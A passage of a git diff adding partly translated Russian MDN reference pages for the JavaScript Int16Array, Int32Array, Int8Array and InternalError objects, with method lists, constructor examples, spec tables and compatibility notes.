+ <dt>{{jsxref("TypedArray.subarray", "Int16Array.prototype.subarray()")}}</dt>
+ <dd>Returns a new <code>Int16Array</code> from the given start and end element index.</dd>
+ <dt>{{jsxref("TypedArray.values", "Int16Array.prototype.values()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array. See also {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Int16Array.prototype.toLocaleString()")}}</dt>
+ <dd>Returns a localized string representing the array and its elements. See also {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Int16Array.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the array and its elements. See also {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Int16Array.prototype[@@iterator]()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Different ways to create an <code>Int16Array</code>:</p>
+
+<pre class="brush: js">// From a length
+var int16 = new Int16Array(2);
+int16[0] = 42;
+console.log(int16[0]); // 42
+console.log(int16.length); // 2
+console.log(int16.BYTES_PER_ELEMENT); // 2
+
+// From an array
+var arr = new Int16Array([21,31]);
+console.log(arr[1]); // 31
+
+// From another TypedArray
+var x = new Int16Array([21, 31]);
+var y = new Int16Array(x);
+console.log(y[0]); // 21
+
+// From an ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Int16Array(buffer, 0, 4);
+
+// From an iterable
+var iterable = function*(){ yield* [1,2,3]; }();
+var int16 = new Int16Array(iterable);
+// Int16Array[1, 2, 3]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Superseded by ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard. Specified that <code>new</code> is required.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 changed the <code>Int16Array</code> constructor to use the <code>ToIndex</code> operation and allows constructors with no arguments.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Int16Array")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<p>Starting with ECMAScript 2015, <code>Int16Array</code> constructors require to be constructed with a {{jsxref("Operators/new", "new")}} operator. Calling a <code>Int16Array</code> constructor as a function without <code>new</code>, will throw a {{jsxref("TypeError")}} from now on.</p>
+
+<pre class="brush: js example-bad">var dv = Int16Array([1, 2, 3]);
+// TypeError: calling a builtin Int16Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Int16Array([1, 2, 3]);</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays" title="en/JavaScript typed arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/int32array/index.html b/files/ru/web/javascript/reference/global_objects/int32array/index.html
new file mode 100644
index 0000000000..bcb0ba23a0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/int32array/index.html
@@ -0,0 +1,199 @@
+---
+title: Int32Array
+slug: Web/JavaScript/Reference/Global_Objects/Int32Array
+translation_of: Web/JavaScript/Reference/Global_Objects/Int32Array
+---
+<div>{{JSRef}}</div>
+
+<p>Объект <strong><code>Int32Array</code></strong> представляет типизированный массив 32-битных целых чисел со знаком с дополнением до двух с платформо-зависимым порядком байт. Если необходим контроль за порядком байт, то вместо этого объекта используйте <a class="new" href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/DataView" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>DataView</code></a>. Содержимое инициализируется значением <code>0</code>. Создав экземпляр <strong><code>Int32Array</code></strong>, можно получить доступ к элементам массива, используя методы объекта или стандартный синтаксис доступа к элементу массива по его индексу (с помощью скобочной нотации).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">new Int32Array(); // добавлено в ES2017
+new Int32Array(length);
+new Int32Array(typedArray);
+new Int32Array(object);
+new Int32Array(buffer [, byteOffset [, length]]);</pre>
+
+<p>Для получения дополнительной информации о синтаксисе конструктора и параметрах <em><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Syntax">TypedArray</a></em>.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Int32Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Возвращает числовое значение размера элемента. <code>4</code> в случае с <code>Int32Array</code>.</dd>
+ <dt>Int32Array.length</dt>
+ <dd>Свойство статического размера, значение которого равно 3. Для актуального размера (колличества элементов), смотрите {{jsxref("TypedArray.prototype.length", "Int32Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Int32Array.name")}}</dt>
+ <dd>Возвращяает строковое значение названия конструктора. В случае с тиопм <code>Int32Array</code>: "Int32Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Int32Array.prototype")}}</dt>
+ <dd>Прототип для <em>TypedArray</em> объектов.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Int32Array.from()")}}</dt>
+ <dd>Создаёт новый <code>Int32Array</code> из массивоподобного или итеративного объекта. Смотрите также {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Int32Array.of()")}}</dt>
+ <dd>Создаёт новый <code>Int32Array</code> with a variable number of arguments. See also {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Int32Array_прототип"><code>Int32Array</code> прототип</h2>
+
+<p>All <code>Int32Array</code> objects inherit from {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Свойства_2">Свойства</h3>
+
+<dl>
+ <dt><code>Int32Array.prototype.constructor</code></dt>
+ <dd>Returns the function that created an instance's prototype. This is the <code>Int32Array</code> constructor by default.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Int32Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{jsxref("ArrayBuffer")}} referenced by the <code>Int32Array</code> Fixed at construction time and thus <strong>read only</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Int32Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Returns the length (in bytes) of the <code>Int32Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Int32Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Returns the offset (in bytes) of the <code>Int32Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Int32Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Returns the number of elements hold in the <code>Int32Array</code>. Fixed at construction time and thus <strong>read only.</strong></dd>
+</dl>
+
+<h3 id="Методы_2">Методы</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Int32Array.prototype.copyWithin()")}}</dt>
+ <dd>Copies a sequence of array elements within the array. See also {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Int32Array.prototype.entries()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the key/value pairs for each index in the array. See also {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Int32Array.prototype.every()")}}</dt>
+ <dd>Tests whether all elements in the array pass the test provided by a function. See also {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Int32Array.prototype.fill()")}}</dt>
+ <dd>Fills all the elements of an array from a start index to an end index with a static value. See also {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Int32Array.prototype.filter()")}}</dt>
+ <dd>Creates a new array with all of the elements of this array for which the provided filtering function returns true. See also {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Int32Array.prototype.find()")}}</dt>
+ <dd>Returns the found value in the array, if an element in the array satisfies the provided testing function or <code>undefined</code> if not found. See also {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Int32Array.prototype.findIndex()")}}</dt>
+ <dd>Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found. See also {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Int32Array.prototype.forEach()")}}</dt>
+ <dd>Calls a function for each element in the array. See also {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Int32Array.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>Determines whether a typed array includes a certain element, returning <code>true</code> or <code>false</code> as appropriate. See also {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Int32Array.prototype.indexOf()")}}</dt>
+ <dd>Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Int32Array.prototype.join()")}}</dt>
+ <dd>Joins all elements of an array into a string. See also {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Int32Array.prototype.keys()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> that contains the keys for each index in the array. See also {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Int32Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Int32Array.prototype.map()")}}</dt>
+ <dd>Creates a new array with the results of calling a provided function on every element in this array. See also {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Int32Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Former non-standard version of {{jsxref("TypedArray.copyWithin", "Int32Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Int32Array.prototype.reduce()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Int32Array.prototype.reduceRight()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Int32Array.prototype.reverse()")}}</dt>
+ <dd>Reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. See also {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Int32Array.prototype.set()")}}</dt>
+ <dd>Stores multiple values in the typed array, reading input values from a specified array.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Int32Array.prototype.slice()")}}</dt>
+ <dd>Extracts a section of an array and returns a new array. See also {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Int32Array.prototype.some()")}}</dt>
+ <dd>Returns true if at least one element in this array satisfies the provided testing function. See also {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Int32Array.prototype.sort()")}}</dt>
+ <dd>Sorts the elements of an array in place and returns the array. See also {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Int32Array.prototype.subarray()")}}</dt>
+ <dd>Returns a new <code>Int32Array</code> from the given start and end element index.</dd>
+ <dt>{{jsxref("TypedArray.values", "Int32Array.prototype.values()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array. See also {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Int32Array.prototype.toLocaleString()")}}</dt>
+ <dd>Returns a localized string representing the array and its elements. See also {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Int32Array.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the array and its elements. See also {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Int32Array.prototype[@@iterator]()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Разные способы создания <code>Int32Array</code>:</p>
+
+<pre class="brush: js">// С указанием размера
+var int32 = new Int32Array(2);
+int32[0] = 42;
+console.log(int32[0]); // 42
+console.log(int32.length); // 2
+console.log(int32.BYTES_PER_ELEMENT); // 4
+
+// Из массива (Array)
+var arr = new Int32Array([21,31]);
+console.log(arr[1]); // 31
+
+// Из другого типизированного массива (TypedArray)
+var x = new Int32Array([21, 31]);
+var y = new Int32Array(x);
+console.log(y[0]); // 21
+
+// Из ArrayBuffer
+var buffer = new ArrayBuffer(16);
+var z = new Int32Array(buffer, 0, 4);
+
+// Из итерируемого объекта (iterable)
+var iterable = function*(){ yield* [1,2,3]; }();
+var int32 = new Int32Array(iterable);
+// Int32Array[1, 2, 3]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Superseded by ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard. Specified that <code>new</code> is required.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 changed the <code>Int32Array</code> constructor to use the <code>ToIndex</code> operation and allows constructors with no arguments.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Int32Array")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<p>Начиная с ECMAScript 2015, конструкторы <code>Int32Array</code> требуют оператор {{jsxref("Operators/new", "new")}}. Вызов <code>Int32Array</code> коструктора как функцию без оператора <code>new</code>, вызовет ошибку {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = Int32Array([1, 2, 3]);
+// TypeError: calling a builtin Int32Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Int32Array([1, 2, 3]);</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays" title="en/JavaScript typed arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/int8array/index.html b/files/ru/web/javascript/reference/global_objects/int8array/index.html
new file mode 100644
index 0000000000..68ac4ff10c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/int8array/index.html
@@ -0,0 +1,199 @@
+---
+title: Int8Array
+slug: Web/JavaScript/Reference/Global_Objects/Int8Array
+translation_of: Web/JavaScript/Reference/Global_Objects/Int8Array
+---
+<div>{{JSRef}}</div>
+
+<p>Объект <strong><code>Int8Array</code></strong> представляет типизированный массив 8-разрядных целых значений. Содержимое инициализируется значением 0. Создав экземпляр <strong><code>Int8Array</code></strong>, возможно получить доступ к элементам массива, используя методы объекта или стандартный синтаксис доступа к элементу массива по его индексу (с помощью скобочной нотации).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new Int8Array(); // new in ES2017
+new Int8Array(length);
+new Int8Array(typedArray);
+new Int8Array(object);
+new Int8Array(buffer [, byteOffset [, length]]);</pre>
+
+<p>Для более детальной информации о синтаксисе конструктора смотрите <em><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Syntax">TypedArray</a></em>.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Int8Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Возвращает числовое значение размера элемента массива. <code>1</code> в случае с <code>Int8Array</code>.</dd>
+ <dt>Int8Array.length</dt>
+ <dd>Статическая длина конструктора <code>Int8Array</code>, всегда равна <code>3</code> (т.к. конструктор принимает до 3 аргументов). Чтобы узнать длину созданого массива, see {{jsxref("TypedArray.prototype.length", "Int8Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Int8Array.name")}}</dt>
+ <dd>Возращает строчное значение имени конструктора. В случае с <code>Int8Array</code>: "Int8Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Int8Array.prototype")}}</dt>
+ <dd>Прототип для <em>TypedArray</em> objects.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Int8Array.from()")}}</dt>
+ <dd>Creates a new <code>Int8Array</code> from an array-like or iterable object. See also {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Int8Array.of()")}}</dt>
+ <dd>Creates a new <code>Int8Array</code> with a variable number of arguments. See also {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Int8Array_prototype"><code>Int8Array</code> prototype</h2>
+
+<p>All <code>Int8Array</code> objects inherit from {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Properties_2">Properties</h3>
+
+<dl>
+ <dt><code>Int8Array.prototype.constructor</code></dt>
+ <dd>Returns the function that created an instance's prototype. This is the <code>Int8Array</code> constructor by default.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Int8Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{jsxref("ArrayBuffer")}} referenced by the <code>Int8Array</code> Fixed at construction time and thus <strong>read only</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Int8Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Returns the length (in bytes) of the <code>Int8Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Int8Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Returns the offset (in bytes) of the <code>Int8Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Int8Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Returns the number of elements hold in the <code>Int8Array</code>. Fixed at construction time and thus <strong>read only.</strong></dd>
+</dl>
+
+<h3 id="Methods_2">Methods</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Int8Array.prototype.copyWithin()")}}</dt>
+ <dd>Copies a sequence of array elements within the array. See also {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Int8Array.prototype.entries()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the key/value pairs for each index in the array. See also {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Int8Array.prototype.every()")}}</dt>
+ <dd>Tests whether all elements in the array pass the test provided by a function. See also {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Int8Array.prototype.fill()")}}</dt>
+ <dd>Fills all the elements of an array from a start index to an end index with a static value. See also {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Int8Array.prototype.filter()")}}</dt>
+ <dd>Creates a new array with all of the elements of this array for which the provided filtering function returns true. See also {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Int8Array.prototype.find()")}}</dt>
+ <dd>Returns the found value in the array, if an element in the array satisfies the provided testing function or <code>undefined</code> if not found. See also {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Int8Array.prototype.findIndex()")}}</dt>
+ <dd>Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found. See also {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Int8Array.prototype.forEach()")}}</dt>
+ <dd>Calls a function for each element in the array. See also {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Int8Array.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>Determines whether a typed array includes a certain element, returning <code>true</code> or <code>false</code> as appropriate. See also {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Int8Array.prototype.indexOf()")}}</dt>
+ <dd>Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Int8Array.prototype.join()")}}</dt>
+ <dd>Joins all elements of an array into a string. See also {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Int8Array.prototype.keys()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> that contains the keys for each index in the array. See also {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Int8Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Int8Array.prototype.map()")}}</dt>
+ <dd>Creates a new array with the results of calling a provided function on every element in this array. See also {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Int8Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Former non-standard version of {{jsxref("TypedArray.copyWithin", "Int8Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Int8Array.prototype.reduce()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Int8Array.prototype.reduceRight()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Int8Array.prototype.reverse()")}}</dt>
+ <dd>Reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. See also {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Int8Array.prototype.set()")}}</dt>
+ <dd>Stores multiple values in the typed array, reading input values from a specified array.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Int8Array.prototype.slice()")}}</dt>
+ <dd>Extracts a section of an array and returns a new array. See also {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Int8Array.prototype.some()")}}</dt>
+ <dd>Returns true if at least one element in this array satisfies the provided testing function. See also {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Int8Array.prototype.sort()")}}</dt>
+ <dd>Sorts the elements of an array in place and returns the array. See also {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Int8Array.prototype.subarray()")}}</dt>
+ <dd>Returns a new <code>Int8Array</code> from the given start and end element index.</dd>
+ <dt>{{jsxref("TypedArray.values", "Int8Array.prototype.values()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array. See also {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Int8Array.prototype.toLocaleString()")}}</dt>
+ <dd>Returns a localized string representing the array and its elements. See also {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Int8Array.prototype.toString()")}}</dt>
+ <dd>Returns a string representing the array and its elements. See also {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Int8Array.prototype[@@iterator]()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Different ways to create an <code>Int8Array</code>:</p>
+
+<pre class="brush: js">// From a length
+var int8 = new Int8Array(2);
+int8[0] = 42;
+console.log(int8[0]); // 42
+console.log(int8.length); // 2
+console.log(int8.BYTES_PER_ELEMENT); // 1
+
+// From an array
+var arr = new Int8Array([21,31]);
+console.log(arr[1]); // 31
+
+// From another TypedArray
+var x = new Int8Array([21, 31]);
+var y = new Int8Array(x);
+console.log(y[0]); // 21
+
+// From an ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Int8Array(buffer, 1, 4);
+
+// From an iterable
+var iterable = function*(){ yield* [1,2,3]; }();
+var int8 = new Int8Array(iterable);
+// Int8Array[1, 2, 3]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Superseded by ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard. Specified that <code>new</code> is required.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 changed the <code>Int8Array</code> constructor to use the <code>ToIndex</code> operation and allows constructors with no arguments.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Int8Array")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<p>Starting with ECMAScript 2015, <code>Int8Array</code> constructors require to be constructed with a {{jsxref("Operators/new", "new")}} operator. Calling a <code>Int8Array</code> constructor as a function without <code>new</code>, will throw a {{jsxref("TypeError")}} from now on.</p>
+
+<pre class="brush: js example-bad">var dv = Int8Array([1, 2, 3]);
+// TypeError: calling a builtin Int8Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Int8Array([1, 2, 3]);</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays" title="en/JavaScript typed arrays">JavaScript typed arrays</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/internalerror/index.html b/files/ru/web/javascript/reference/global_objects/internalerror/index.html
new file mode 100644
index 0000000000..50aa493d12
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/internalerror/index.html
@@ -0,0 +1,113 @@
+---
+title: InternalError
+slug: Web/JavaScript/Reference/Global_Objects/InternalError
+tags:
+  - Error
+  - InternalError
+  - JavaScript
+  - Non-standard
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/InternalError
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}} {{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Объект <code><strong>InternalError</strong></code> представляет ошибку, возникающую внутри движка JavaScript. Например: "InternalError: too much recursion".</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>new InternalError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Необязательный параметр. Человеко-читаемое описание ошибки.</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
